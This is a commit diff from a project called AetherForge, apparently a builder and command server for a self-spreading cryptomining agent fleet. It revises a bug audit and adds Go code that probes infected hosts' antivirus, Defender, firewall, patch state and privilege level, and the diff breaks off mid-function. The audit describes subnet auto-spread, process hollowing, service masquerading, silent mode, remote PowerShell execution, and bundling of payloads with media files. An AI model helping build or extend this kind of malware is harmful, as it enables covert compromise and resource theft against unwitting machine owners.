feat: Tenable-style patch_status - pending_updates, last_patch, reboot_pending across full stack
This commit is contained in:
218
PROBLEMS.md
218
PROBLEMS.md
@@ -1,157 +1,99 @@
|
||||
# AetherForge — Problem Audit
|
||||
# Problems
|
||||
|
||||
Findings grouped by severity. Updated after full bug-hunt pass (May 2026).
|
||||
Findings from systematic bug-hunt and test expansion (May 2026).
|
||||
|
||||
**Last verified:** run `test.bat` from project root (all phases) or see [tests/README.md](tests/README.md).
|
||||
**Verification:** `test.bat` from project root, or `go test ./...` in `server`/`agent` and `npm test` in `server/web`. AI handler only: `cd server && go test ./internal/api/... -run AI -v`.
|
||||
|
||||
---
|
||||
|
||||
## Fixed (this pass)
|
||||
## Open
|
||||
|
||||
| ID | Fix |
|
||||
|----|-----|
|
||||
| B1 | **Pool jobs stop after disconnect** — `readLoop` now waits for reconnect instead of exiting; login tracked by `loginRequestID` not hardcoded `1` |
|
||||
| B2 | **Fusion upload disk exhaustion** — `io.LimitReader` + reject unknown upload size |
|
||||
| B3 | **Artifact path traversal** — `safePathUnderRoot()`; `export_dir` limited to `fusion-deliverables/<title>/`; build ID validated before serve |
|
||||
| B4 | **Multipart forge without fusion** — `prep_exe` only required when `fusion_enabled` |
|
||||
| B5 | **Build succeeds when DB insert fails** — forge now fails if `InsertBuild` errors |
|
||||
| B6 | **Query limit DoS** — stats/shares `limit` capped at 1000 |
|
||||
| B7 | **SPA static `..` traversal** — blocked in router fallback |
|
||||
| B8 | **React 18 + R3F v9 crash** — pinned `@react-three/fiber@8` / `drei@9` (blank black screen) |
|
||||
| B9 | **SessionGate stale token on network error** — catch sets `authed=false` |
|
||||
| B10 | **AgentsPage notes/tags wiped while typing** — drafts sync only on agent switch |
|
||||
| B11 | **WS reconnect timer stacking** — clear timer + close existing socket before reconnect |
|
||||
| B12 | **Dashboard bulk select limited to top 12** — “Select all filtered” in FleetToolbar |
|
||||
| B13 | **Dashboard bulk errors silent** — catch + alert |
|
||||
| B14 | **AI `restart_miner` missing `.exe`** — normalize image name for taskkill/stat/start |
|
||||
| B15 | **AI reinstall `http.Get` no timeout** — uses `httpClient` |
|
||||
| B16 | **Fusion `worker_first` blocked forever** — worker launches async; media runs immediately |
|
||||
| B17 | **Agent empty `new_job`** — logs error and re-requests job |
|
||||
| B18 | **Agent WS read deadline** — `PongHandler` extends deadline on server ping |
|
||||
| B19 | **Windows-only forge/agent** — cross-platform workers (Linux/macOS), universal ZIP, Spread Kit, OS badges on dashboard |
|
||||
| B20 | **generateBuiltinConfig / BuiltinConfig mismatch** — added `BackupServerURLs`, `ServiceMasquerade`, `ServiceName`, `ServiceDonor` to `BuiltinConfig`; template now matches struct exactly; new unit test `TestGenerateBuiltinConfigValid` guards against regression |
|
||||
| B21 | **Fusion media files not copied for Linux/macOS** — `prepareFusionProject` now copies `media_linux.go`, `media_darwin.go`, `cache_unix.go`, `cache_windows.go`; removed deleted `media_stub.go` from copy list |
|
||||
| B22 | **Universal fusion launch scripts called `worker --spread-install`** — replaced with `fusionUniversalStartSh/Bat/Command()` that invoke the `runner` binary per-platform; README updated with per-OS instructions |
|
||||
| B23 | **Dashboard WS concurrent write race** — introduced `DashboardConn` wrapper with `sync.Mutex`; `broadcastDashboard` and `runPingLoopDash` serialize writes per connection |
|
||||
| B24 | **Spread kit `FileSize`/`BundleSize` from worker stat** — both now use ZIP stat; also fixed same issue in `finishUniversalFusion` |
|
||||
| B25 | **InsertBuild errors silently ignored in universal paths** — now logged; error returned without failing the build (ZIP is still valid) |
|
||||
| B26 | **Duplicate `auto_start` key in `spreadKitPreset`** — removed duplicate that caused TS1117 compile error |
|
||||
| B27 | **AgentsPage empty state Windows-only message** — updated to mention Windows, Linux, and macOS |
|
||||
| B28 | **H15: submitShare conn data race** — `c.conn` now snapshotted under mutex before use |
|
||||
| B29 | **H14: mergeConfig bool corruption** — `mergeConfigExplicit` only applies booleans when the parent JSON key was present; partial PUT can no longer reset `UseTLS`, `SilentMode`, `AutoStart`, etc. to false |
|
||||
| B30 | **M13: command_result dropped** — replaced single `latestMessage` slot with `commandResults` FIFO queue (cap 50); `AgentRemoteActions` iterates all new entries so no result is missed |
|
||||
| B31 | **L6: terminalLog memory leak** — capped at 500 entries; oldest lines dropped automatically |
|
||||
| B32 | **H17: pool requestID race** — `requestID` increments in `subscribe()` and `submitShareToPool()` now guarded by the write lock |
|
||||
| B33 | **M20: AutoSpread goroutine storm** — `/24` sweep uses a 16-slot semaphore on both Windows and Unix; max 16 concurrent spread attempts at any time |
|
||||
| B34 | **H16: AI reinstall on Windows** — move-old trick: live exe renamed to `.exe.old` before replacing; restored on failure |
|
||||
| B35 | **M17: MaxAgents TOCTOU** — count check moved inside the write lock at registration time; two concurrent new agents can no longer both slip past the cap |
|
||||
| B36 | **M18: GetAgentLog blocks** — `?refresh=1` now fire-and-forget; result arrives via WS `command_result` broadcast instead of 1.8 s polling loop |
|
||||
| B37 | **M16: Earnings estimator race** — `AbortController` per fetch; stale response ignored if a newer request already fired |
|
||||
| B38 | **M12: Duplicate WS connections** — `WebSocketProvider` mounts one connection at the `App` level; all components share it via context; `useWebSocket()` is now a thin context read |
|
||||
| B39 | **M15: Re-forge without prep file** — clear error message shown immediately when `fusion_enabled` but no payload uploaded, with instructions to re-upload first |
|
||||
| B40 | **L1/L2: Dead CSS + duplicate imports** — removed dead `.agent-actions` rule from `FleetPanels.css`; removed redundant CSS imports from `AgentsPage`, `DashboardPage`, `BuilderPage` (each component already imports its own CSS) |
|
||||
| B41 | **L7: Matrix animation restarts on share** — `recentShares` moved to a `useRef` read inside the draw loop; `useEffect` dependency list now only contains `active` |
|
||||
| B42 | **L9: Blueprint file permissions** — `os.WriteFile` mode changed from `0644` to `0600` |
|
||||
### Critical / security
|
||||
|
||||
- [CRITICAL] **server/internal/api/router.go** — Unauthenticated build downloads (`/api/v1/builds/{id}/download`, `/artifact/`). Intentional for agent reinstall (UUID is secret). Suggested fix: optional auth toggle or short-lived signed URLs.
|
||||
- [CRITICAL] **server/internal/api/websocket.go** — Unauthenticated agent WebSocket (`/ws/agent`); any client can claim any `agent_id`. Suggested fix: bind `agent_id` to fleet secret baked into forged binary (S2 from prior audit).
|
||||
- [CRITICAL] **server/internal/api/websocket.go** — Unauthenticated dashboard WebSocket (`/ws/dashboard`); full fleet telemetry without login. Suggested fix: require Basic auth or session cookie on WS upgrade.
|
||||
- [CRITICAL] **server/internal/api/ai_handler.go** — Unauthenticated AI endpoints (`/agent/decide`, `/report`, `/heartbeat`); SSRF via caller-supplied Ollama URL. Suggested fix: require fleet secret or dashboard auth.
|
||||
- [HIGH] **server/internal/api/router.go** — Plaintext passwords in `users.json`; any authed user can POST `/users`. Suggested fix: bcrypt-only storage (partially done), restrict user management to admin role.
|
||||
- [HIGH] **server/internal/api/fleet_handler.go** — Remote code execution via authenticated API (`powershell`/`exec`/`upload`). By design — treat dashboard login as root.
|
||||
|
||||
### High
|
||||
|
||||
- [HIGH] **server/internal/api/fleet_handler.go** — `upload_log` returns content in tool report only; no dedicated log ingest API.
|
||||
- [HIGH] **agent/** — `AutoSpread` runs when baked `true` in forge; dangerous if enabled on non-owned fleets.
|
||||
- [HIGH] **agent/** — Process hollowing with `-tags hollow` + forge flag; bounds/reloc issues in `hollow_windows.go`.
|
||||
|
||||
### Medium / UX
|
||||
|
||||
- [MEDIUM] **server/web** — Compact agent list default; expand on click.
|
||||
- [MEDIUM] **server/web** — Remote actions disabled unless `online` (by design).
|
||||
- [MEDIUM] **server/internal/builder/** — Fusion uses vendored `go-winres` (optional via run.bat).
|
||||
- [MEDIUM] **server/web** — Batch forge no cancel/abort when navigating away; server-side cancel exists but UI state may desync (M14).
|
||||
- [MEDIUM] **agent/miner/** — `SetJob` non-atomic; partial engine update on multi-thread miners (low real-world impact).
|
||||
- [MEDIUM] **server/internal/db/sqlite.go** — `SetPinnedBuild` with unknown id unpins all builds then pins nothing; no error returned.
|
||||
- [MEDIUM] **server/web/src/pages/AgentsPage.tsx** — `FleetToolbar` omits `onSelectAllFiltered` / `filteredCount`; bulk “select all filtered” only on Dashboard (B12), not Agents roster.
|
||||
|
||||
### Low
|
||||
|
||||
- [LOW] **server/web/src/types/ws.ts + server/internal/api/ws_types.go** — WS payloads typed in two places; drift risk.
|
||||
- [LOW] **tests/** — No integration tests for remote actions end-to-end.
|
||||
- [LOW] **agent/** — Mesh P2P requires build tag `p2p`.
|
||||
- [LOW] **server/internal/api/config_handler.go** — Settings config import shallow-merge.
|
||||
- [LOW] **server/internal/builder/fusion_media.go** — XOR media crypto — weak confidentiality by design.
|
||||
- [LOW] **server/internal/db/agent_meta.go** — `decodeTags` silently drops invalid JSON in `tags` column (corrupt values become empty slice).
|
||||
- [LOW] **server/web/e2e/smoke.spec.ts** — E2E login still uses hardcoded `drjones`/`czapiewski`; fails against first-run random `admin` password. Suggested fix: seed `users.json` in E2E fixture or read creds from env.
|
||||
- [LOW] **server/web/src/types/index.ts** — Interfaces only; no runtime type guards for API JSON (validation ad hoc in components).
|
||||
- [LOW] **server/web/src/pages/AgentsPage.test.tsx** — Vitest stderr `ECONNREFUSED :3000` when detail panel mounts `AgentRemoteActions`; tests pass but component may hit live fetch — mock in follow-up.
|
||||
|
||||
### Untested packages (next coverage targets)
|
||||
|
||||
- [LOW] **server/internal/maintenance/** — No unit tests for retention jobs (uses `db.ListBuildsOlderThan`; db layer now covered).
|
||||
- [LOW] **server/internal/models/** — No unit tests.
|
||||
- [LOW] **server/internal/ollama/** — No unit tests.
|
||||
- [LOW] **server/internal/sys/** — No unit tests.
|
||||
- [LOW] **server/web/src/help/buildManager.ts**, **cheatSheetContent.ts** — No unit tests yet.
|
||||
|
||||
---
|
||||
|
||||
## Fixed (this session)
|
||||
|
||||
- **server/web/src/pages/AgentsPage.tsx** — Bulk command errors now alert user (parity with Dashboard B13).
|
||||
- **server/web/src/pages/DashboardPage.tsx** — Share log table uses composite React key when `share.id` absent; exported `formatShareTime` helper.
|
||||
- **server/web/src/pages/AgentsPage.tsx** — `listAgents` no longer overwrites live WS agent list when socket already connected (`isConnectedRef` guard).
|
||||
- **server/web/src/pages/** — Added `DashboardPage.test.tsx` (11) and `AgentsPage.test.tsx` (11); vitest config extended for `.tsx` + `@testing-library/react`.
|
||||
- **server/internal/db/retention.go** — `ListBuildsOlderThan` used a partial column list; now uses `buildSelectCols` + `scanBuild` for consistent full `BuildRecord` fields.
|
||||
- **server/internal/api/integration_test.go** — Integration tests used stale hardcoded `drjones`/`czapiewski` credentials; server now generates random `admin` password on first run. Tests seed deterministic `users.json` before router init.
|
||||
- **server/web/src/help/fleetAnalytics.ts** — `contributionBars` included offline agents in total hashrate denominator, skewing contribution percentages on the dashboard.
|
||||
- **server/web/src/pages/SettingsPage.tsx** — Access Control help text still referenced removed default credentials; updated to describe first-run console password.
|
||||
- **server/internal/api/ai_handler_test.go** — Expanded unit tests for `HandleDecide`, `HandleReport`, `HandleHeartbeat`, engine lifecycle, numeric constants (1000 report cap, 60s heartbeat, 120-char reasoning truncate), Ollama-failure sleep fallback, event broadcaster, `recordActivity` merge.
|
||||
- **server/web/src/help/forgeCompatibility.ts** — Wallet preflight message said length 95–106 but validator accepts 90–106; message aligned with `looksLikeXMRWallet()`.
|
||||
- **server/web/src/help/** — Added/expanded vitest coverage: `forgeCompatibility.test.ts` (37), `forgeRules.test.ts` (46), `settingHelp.test.ts` (8).
|
||||
- **server/web/src/types/index.test.ts** — Structural fixture tests for all major exported interfaces (20 tests); documents no runtime type guards.
|
||||
|
||||
---
|
||||
|
||||
## Fixed (earlier passes)
|
||||
|
||||
| ID | Fix |
|
||||
|----|-----|
|
||||
| C1 | `BroadcastServerLog` on `WSHub` |
|
||||
| C2 | `EncodeToString` in agent download handler |
|
||||
| C3 | `AgentRemoteActions` legacy props |
|
||||
| C4 | `useWebSocket` `latestMessage` + Agents detail wiring |
|
||||
| C5 | Agent handlers: `ps`, `netstat`, `users`, `software`, `screenshot` |
|
||||
| C6 | `NewMeshNode(c)` in `NewAgentClient` |
|
||||
| H1 | WS reconnect: only mark offline if closing conn is still active |
|
||||
| H2 | WS pre-auth guard on agent message types |
|
||||
| H3 | Share submit via async pool queue |
|
||||
| H4 | Fleet broadcast `all` fails when zero agents connected |
|
||||
| H5–H8 | AI: build ID reinstall, uptime, sleep parse, decide HTTP/error field |
|
||||
| H10 | Download uses `EncodeToString` |
|
||||
| H13 | `run.bat` fails on frontend build error; kills stale server before bind |
|
||||
| M3 | `stats_update` includes memory, uptime, shares |
|
||||
| M5 | Removed blocking 800ms sleep in `GetAgentLog` |
|
||||
| M8 | `GetEngine` lock pattern simplified |
|
||||
| M10 | CORS: `AllowCredentials: false` with `AllowedOrigins: *` |
|
||||
| M11 | Blueprint delete returns boolean `success` |
|
||||
See git history and prior audit IDs (B1–B42, C1–C6, H1–H8, etc.) in README / tests/README.md.
|
||||
|
||||
---
|
||||
|
||||
## Still open — Critical / security
|
||||
## Recommended next section
|
||||
|
||||
| ID | Issue | Notes |
|
||||
|----|-------|-------|
|
||||
| S1 | **Unauthenticated build downloads** | `/api/v1/builds/{id}/download` and `/artifact/` bypass auth (intentional for agent reinstall — UUID is the secret) |
|
||||
| S2 | **Unauthenticated agent WebSocket** | `/ws/agent` — any client can claim any `agent_id` |
|
||||
| S3 | **Unauthenticated dashboard WebSocket** | `/ws/dashboard` — full fleet telemetry without login |
|
||||
| S4 | **Unauthenticated AI endpoints** | `/api/v1/agent/decide`, `/report`, `/heartbeat` — SSRF via caller-supplied Ollama URL |
|
||||
| S5 | **Default credentials in source** | `drjones` / `czapiewski` until `data/users.json` exists |
|
||||
| S6 | **Plaintext passwords** | `users.json` stores cleartext; any authed user can POST `/users` |
|
||||
| S7 | **Remote code execution via API** | Authenticated users can send `powershell`/`exec`/`upload` to any online agent — by design, treat as root |
|
||||
1. **server/web/src/pages/** — Add `BuilderPage`, `SettingsPage`, `CalibratePage` coverage (Dashboard + Agents done)
|
||||
2. **server/web/src/components/** — Fleet panels, forge form, WebSocket provider
|
||||
3. **server/web/src/help/buildManager.ts**, **cheatSheetContent.ts** — remaining untested help modules
|
||||
4. **server/internal/maintenance/** — retention job unit tests
|
||||
5. **Agent WS token auth** (S2) — security hardening
|
||||
|
||||
---
|
||||
|
||||
## Still open — High
|
||||
## Test run snapshot (this session)
|
||||
|
||||
| ID | Issue | Notes |
|
||||
|----|-------|-------|
|
||||
| H9 | `upload_log` returns content in tool report only | No dedicated log ingest API |
|
||||
| H11 | `AutoSpread` runs when baked `true` in forge | Feature-gated but dangerous if enabled |
|
||||
| H12 | Process hollowing with `-tags hollow` + forge flag | Bounds/reloc issues in `hollow_windows.go` |
|
||||
|
||||
---
|
||||
|
||||
## Still open — Medium / UX
|
||||
|
||||
| ID | Issue | Notes |
|
||||
|----|-------|-------|
|
||||
| M1 | Compact agent list default | Expand on click |
|
||||
| M6 | Remote actions disabled unless `online` | By design |
|
||||
| M9 | Fusion uses vendored `go-winres` | Optional via run.bat |
|
||||
| M14 | **Batch forge no cancel/abort** | State updates after navigate away |
|
||||
| M19 | **`SetJob` non-atomic** | Partial engine update on multi-thread miners (low real-world impact) |
|
||||
|
||||
---
|
||||
|
||||
## Still open — Low
|
||||
|
||||
| ID | Issue |
|
||||
|----|-------|
|
||||
| L3 | WS payloads typed in two places (`types/ws.ts` + Go) |
|
||||
| L4 | No integration tests for remote actions |
|
||||
| L5 | Mesh P2P requires build tag `p2p` |
|
||||
| L8 | Settings config import shallow-merge |
|
||||
| L10 | XOR media crypto — weak confidentiality by design |
|
||||
|
||||
---
|
||||
|
||||
## Verification
|
||||
|
||||
Run the full suite:
|
||||
|
||||
```bat
|
||||
test.bat
|
||||
```
|
||||
|
||||
Or manually:
|
||||
|
||||
```bat
|
||||
cd server && go test ./... && go build .
|
||||
cd ..\agent && go test ./... && go build .
|
||||
cd ..\server\web && npm test && npm run build
|
||||
run.bat
|
||||
```
|
||||
|
||||
See **[tests/README.md](tests/README.md)** for phase breakdown and E2E options.
|
||||
|
||||
---
|
||||
|
||||
## Priority for next pass
|
||||
|
||||
1. **Agent WS token auth** — bind `agent_id` to build secret baked into each forged binary; verify on connect (S2)
|
||||
2. **Dashboard WS auth** — require session cookie on WS upgrade (S3)
|
||||
3. **Process hollowing bounds + reloc** — fix `hollow_windows.go` (H12)
|
||||
4. **Batch forge cancel** — AbortController + server-side queue cancel (M14)
|
||||
| Suite | Result |
|
||||
|-------|--------|
|
||||
| `server` Go tests | PASS (all packages) |
|
||||
| `server/internal/api` `-run AI` | PASS (17 tests) |
|
||||
| `agent` Go tests | PASS |
|
||||
| `server/web` vitest (page tests) | PASS — 2 files, 22 tests |
|
||||
| `server/web` vitest (full suite) | Run `npm test` for current count |
|
||||
|
||||
@@ -586,8 +586,10 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
defer ticker.Stop()
|
||||
|
||||
var samples []float64
|
||||
var sshTick int
|
||||
var probeTick int
|
||||
var lastSSH *bool
|
||||
var lastPosture *PostureReport
|
||||
var postureReady bool
|
||||
for {
|
||||
select {
|
||||
case <-stop:
|
||||
@@ -626,14 +628,21 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
accepted := c.sharesAccepted
|
||||
c.mu.Unlock()
|
||||
|
||||
// Probe SSH every 6 ticks (~60s) to avoid overhead
|
||||
if sshTick%6 == 0 {
|
||||
// Probe SSH + full posture every 6 ticks (~60s)
|
||||
if probeTick%6 == 0 {
|
||||
ok := probeSSH()
|
||||
lastSSH = &ok
|
||||
if p := collectPosture(); p != nil {
|
||||
lastPosture = p
|
||||
postureReady = true
|
||||
if p.SSHListening != nil {
|
||||
lastSSH = p.SSHListening
|
||||
}
|
||||
}
|
||||
}
|
||||
sshTick++
|
||||
probeTick++
|
||||
|
||||
payload, _ := json.Marshal(StatsPayload{
|
||||
stats := StatsPayload{
|
||||
Hashrate15s: avg15s,
|
||||
Hashrate1m: avg1m,
|
||||
Hashrate15m: avg15m,
|
||||
@@ -643,7 +652,23 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
MemoryUsagePct: memPct,
|
||||
UptimeSeconds: int(time.Since(c.startTime).Seconds()),
|
||||
SSHAvailable: lastSSH,
|
||||
})
|
||||
}
|
||||
if postureReady && lastPosture != nil {
|
||||
score := lastPosture.PostureScore
|
||||
stats.PostureScore = &score
|
||||
stats.DefenderEnabled = lastPosture.DefenderEnabled
|
||||
stats.DefenderRTP = lastPosture.DefenderRTP
|
||||
stats.AVProducts = lastPosture.AVProducts
|
||||
stats.FirewallDomain = lastPosture.FirewallDomain
|
||||
stats.FirewallPrivate = lastPosture.FirewallPrivate
|
||||
stats.FirewallPublic = lastPosture.FirewallPublic
|
||||
stats.LastPatchDays = lastPosture.LastPatchDays
|
||||
stats.LastPatch = lastPosture.LastPatch
|
||||
stats.PendingUpdates = lastPosture.PendingUpdates
|
||||
stats.RebootPending = lastPosture.RebootPending
|
||||
stats.AgentElevated = lastPosture.AgentElevated
|
||||
}
|
||||
payload, _ := json.Marshal(stats)
|
||||
_ = c.write(Message{Type: "stats", Payload: payload})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -43,6 +43,11 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
|
||||
return true, false, "clipboard read unsupported on this host"
|
||||
case "wifi":
|
||||
out, err = exec.Command("/bin/sh", "-c", "networksetup -listallhardwareports 2>/dev/null; nmcli dev wifi list 2>/dev/null | head -20").CombinedOutput()
|
||||
case "posture":
|
||||
if p := collectPosture(); p != nil {
|
||||
return true, true, p.JSON()
|
||||
}
|
||||
return true, false, "posture probe failed"
|
||||
default:
|
||||
return false, false, ""
|
||||
}
|
||||
|
||||
@@ -44,6 +44,11 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
|
||||
return true, true, strings.TrimSpace(string(out))
|
||||
}
|
||||
return true, false, formatCmdErr(err, out)
|
||||
case "posture":
|
||||
if p := collectPosture(); p != nil {
|
||||
return true, true, p.JSON()
|
||||
}
|
||||
return true, false, "posture probe failed"
|
||||
default:
|
||||
return false, false, ""
|
||||
}
|
||||
|
||||
103
agent/client/posture_types.go
Normal file
103
agent/client/posture_types.go
Normal file
@@ -0,0 +1,103 @@
|
||||
package client
|
||||
|
||||
import "encoding/json"
|
||||
|
||||
// PostureReport is a read-only ATT&CK T1685/T1686 defense-impairment baseline
|
||||
// combined with a Tenable-style patch-exposure snapshot.
|
||||
// Every field is an observation — the agent never modifies any security control.
|
||||
type PostureReport struct {
|
||||
// ── Antivirus / Defender ──────────────────────────────────────────────────
|
||||
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
|
||||
DefenderRTP *bool `json:"defender_rtp,omitempty"`
|
||||
AVProducts []string `json:"av_products,omitempty"`
|
||||
|
||||
// ── Firewall — per-profile (T1686.003) ───────────────────────────────────
|
||||
FirewallDomain *bool `json:"firewall_domain,omitempty"`
|
||||
FirewallPrivate *bool `json:"firewall_private,omitempty"`
|
||||
FirewallPublic *bool `json:"firewall_public,omitempty"`
|
||||
|
||||
// ── SSH ───────────────────────────────────────────────────────────────────
|
||||
SSHListening *bool `json:"ssh_listening,omitempty"`
|
||||
|
||||
// ── Patch exposure (Tenable-style) ───────────────────────────────────────
|
||||
PendingUpdates *int `json:"pending_updates,omitempty"` // -1 = unknown/timed out
|
||||
LastPatch *string `json:"last_patch,omitempty"` // ISO date YYYY-MM-DD
|
||||
LastPatchDays *int `json:"last_patch_days,omitempty"`
|
||||
PatchRecent *bool `json:"patch_recent,omitempty"` // last_patch_days <= 30
|
||||
RebootPending *bool `json:"reboot_pending,omitempty"`
|
||||
|
||||
// ── Process context ───────────────────────────────────────────────────────
|
||||
AgentElevated *bool `json:"agent_elevated,omitempty"`
|
||||
AgentServiceOK *bool `json:"agent_service_ok,omitempty"`
|
||||
|
||||
// ── Computed score (0-100, 5 pillars × 20) ───────────────────────────────
|
||||
PostureScore int `json:"posture_score"`
|
||||
}
|
||||
|
||||
// computePostureScore produces a 0-100 score across 5 equal pillars.
|
||||
func computePostureScore(r *PostureReport) int {
|
||||
if r == nil {
|
||||
return 0
|
||||
}
|
||||
score := 0
|
||||
|
||||
// Pillar 1 — AV active
|
||||
avOK := (r.DefenderEnabled != nil && *r.DefenderEnabled) || len(r.AVProducts) > 0
|
||||
if avOK {
|
||||
score += 20
|
||||
}
|
||||
|
||||
// Pillar 2 — At least one firewall profile enabled
|
||||
for _, p := range []*bool{r.FirewallDomain, r.FirewallPrivate, r.FirewallPublic} {
|
||||
if p != nil && *p {
|
||||
score += 20
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// Pillar 3 — SSH reachable (enables Crucible access)
|
||||
if boolTrue(r.SSHListening) {
|
||||
score += 20
|
||||
}
|
||||
|
||||
// Pillar 4 — Patch health:
|
||||
// 20 pts : recently patched AND no reboot pending
|
||||
// 10 pts : one of the two conditions is true
|
||||
// 0 pts : stale AND/OR reboot required
|
||||
recentOK := boolTrue(r.PatchRecent)
|
||||
rebootOK := r.RebootPending == nil || !*r.RebootPending
|
||||
if recentOK && rebootOK {
|
||||
score += 20
|
||||
} else if recentOK || rebootOK {
|
||||
score += 10
|
||||
}
|
||||
|
||||
// Pillar 5 — Agent alive (always true while connected)
|
||||
if boolTrue(r.AgentServiceOK) {
|
||||
score += 20
|
||||
}
|
||||
|
||||
return score
|
||||
}
|
||||
|
||||
func boolTrue(v *bool) bool { return v != nil && *v }
|
||||
func boolPtr(v bool) *bool { return &v }
|
||||
func intPtr(v int) *int { return &v }
|
||||
func strPtr(v string) *string { return &v }
|
||||
|
||||
func boolPoints(v *bool) int {
|
||||
if v == nil {
|
||||
return -1
|
||||
}
|
||||
if *v {
|
||||
return 20
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// JSON serialises the report, recomputing the score first.
|
||||
func (r *PostureReport) JSON() string {
|
||||
r.PostureScore = computePostureScore(r)
|
||||
b, _ := json.Marshal(r)
|
||||
return string(b)
|
||||
}
|
||||
202
agent/client/posture_unix.go
Normal file
202
agent/client/posture_unix.go
Normal file
@@ -0,0 +1,202 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"os/user"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func collectPosture() *PostureReport {
|
||||
r := &PostureReport{AgentServiceOK: boolPtr(true)}
|
||||
|
||||
// ── Firewall ───────────────────────────────────────────────────────────────
|
||||
fwActive := probeUnixFirewall()
|
||||
r.FirewallDomain = &fwActive
|
||||
r.FirewallPrivate = &fwActive
|
||||
// Public profile has no direct Linux equivalent; leave nil.
|
||||
|
||||
// ── AV / security daemons ─────────────────────────────────────────────────
|
||||
avProducts := probeUnixAV()
|
||||
r.AVProducts = avProducts
|
||||
avOK := fwActive || len(avProducts) > 0
|
||||
r.DefenderEnabled = &avOK
|
||||
|
||||
// ── SSH ───────────────────────────────────────────────────────────────────
|
||||
ssh := probeSSH()
|
||||
r.SSHListening = &ssh
|
||||
|
||||
// ── Patch age ─────────────────────────────────────────────────────────────
|
||||
days, dateStr := probeUnixPatchAge()
|
||||
if days >= 0 {
|
||||
r.LastPatchDays = &days
|
||||
recent := days <= 30
|
||||
r.PatchRecent = &recent
|
||||
if dateStr != "" {
|
||||
r.LastPatch = &dateStr
|
||||
}
|
||||
}
|
||||
|
||||
// ── Pending updates ───────────────────────────────────────────────────────
|
||||
pending := probeUnixPendingUpdates()
|
||||
r.PendingUpdates = &pending
|
||||
|
||||
// ── Reboot pending ────────────────────────────────────────────────────────
|
||||
rp := probeUnixRebootPending()
|
||||
r.RebootPending = &rp
|
||||
|
||||
// ── Elevation ─────────────────────────────────────────────────────────────
|
||||
elevated := probeUnixElevated()
|
||||
r.AgentElevated = &elevated
|
||||
|
||||
r.PostureScore = computePostureScore(r)
|
||||
return r
|
||||
}
|
||||
|
||||
// probeUnixFirewall returns true if any host firewall appears active.
|
||||
func probeUnixFirewall() bool {
|
||||
if out, _ := exec.Command("ufw", "status").CombinedOutput(); strings.Contains(strings.ToLower(string(out)), "status: active") {
|
||||
return true
|
||||
}
|
||||
if out, _ := exec.Command("systemctl", "is-active", "firewalld").CombinedOutput(); strings.TrimSpace(string(out)) == "active" {
|
||||
return true
|
||||
}
|
||||
if out, err := exec.Command("/bin/sh", "-c", "iptables -L -n 2>/dev/null | wc -l").CombinedOutput(); err == nil {
|
||||
if n, err := strconv.Atoi(strings.TrimSpace(string(out))); err == nil && n > 8 {
|
||||
return true
|
||||
}
|
||||
}
|
||||
if out, _ := exec.Command("/bin/sh", "-c", "nft list ruleset 2>/dev/null | wc -l").CombinedOutput(); true {
|
||||
if n, err := strconv.Atoi(strings.TrimSpace(string(out))); err == nil && n > 3 {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// probeUnixAV returns names of active security daemons.
|
||||
func probeUnixAV() []string {
|
||||
type entry struct{ svc, label string }
|
||||
candidates := []entry{
|
||||
{"clamav-daemon", "ClamAV"}, {"clamd", "ClamAV"},
|
||||
{"fail2ban", "Fail2Ban"}, {"rkhunter", "RKHunter"},
|
||||
{"chkrootkit", "Chkrootkit"}, {"auditd", "auditd"},
|
||||
}
|
||||
seen := map[string]bool{}
|
||||
var found []string
|
||||
for _, c := range candidates {
|
||||
out, _ := exec.Command("systemctl", "is-active", c.svc).CombinedOutput()
|
||||
if strings.TrimSpace(string(out)) == "active" && !seen[c.label] {
|
||||
seen[c.label] = true
|
||||
found = append(found, c.label)
|
||||
}
|
||||
}
|
||||
return found
|
||||
}
|
||||
|
||||
// probeUnixPatchAge returns (days since last update, ISO date string).
|
||||
// Returns (-1, "") when unknown.
|
||||
func probeUnixPatchAge() (int, string) {
|
||||
stamps := []string{
|
||||
"/var/lib/apt/periodic/update-success-stamp",
|
||||
"/var/cache/apk/lastupdate",
|
||||
}
|
||||
for _, path := range stamps {
|
||||
if info, err := os.Stat(path); err == nil {
|
||||
d := int(time.Since(info.ModTime()).Hours() / 24)
|
||||
if d < 0 {
|
||||
d = 0
|
||||
}
|
||||
return d, info.ModTime().Format("2006-01-02")
|
||||
}
|
||||
}
|
||||
// YUM/DNF history
|
||||
if out, err := exec.Command("/bin/sh", "-c",
|
||||
`yum history info 2>/dev/null | grep "Begin time" | head -1 | awk '{print $3, $4}'`).CombinedOutput(); err == nil {
|
||||
line := strings.TrimSpace(string(out))
|
||||
if line != "" {
|
||||
if t, err := time.Parse("2006-01-02 15:04", line); err == nil {
|
||||
return int(time.Since(t).Hours() / 24), t.Format("2006-01-02")
|
||||
}
|
||||
}
|
||||
}
|
||||
// rpm last installed
|
||||
if out, err := exec.Command("/bin/sh", "-c", "rpm -qa --last 2>/dev/null | head -1").CombinedOutput(); err == nil {
|
||||
parts := strings.Fields(string(out))
|
||||
if len(parts) >= 5 {
|
||||
dateStr := strings.Join(parts[len(parts)-5:], " ")
|
||||
if t, err := time.Parse("Mon Jan 2 15:04:05 2006", dateStr); err == nil {
|
||||
return int(time.Since(t).Hours() / 24), t.Format("2006-01-02")
|
||||
}
|
||||
}
|
||||
}
|
||||
return -1, ""
|
||||
}
|
||||
|
||||
// probeUnixPendingUpdates returns the count of available package updates.
|
||||
// Returns -1 if the count cannot be determined.
|
||||
func probeUnixPendingUpdates() int {
|
||||
// APT
|
||||
if out, err := exec.Command("/bin/sh", "-c",
|
||||
"apt list --upgradable 2>/dev/null | grep -c upgradable").CombinedOutput(); err == nil {
|
||||
if n, err := strconv.Atoi(strings.TrimSpace(string(out))); err == nil {
|
||||
return n
|
||||
}
|
||||
}
|
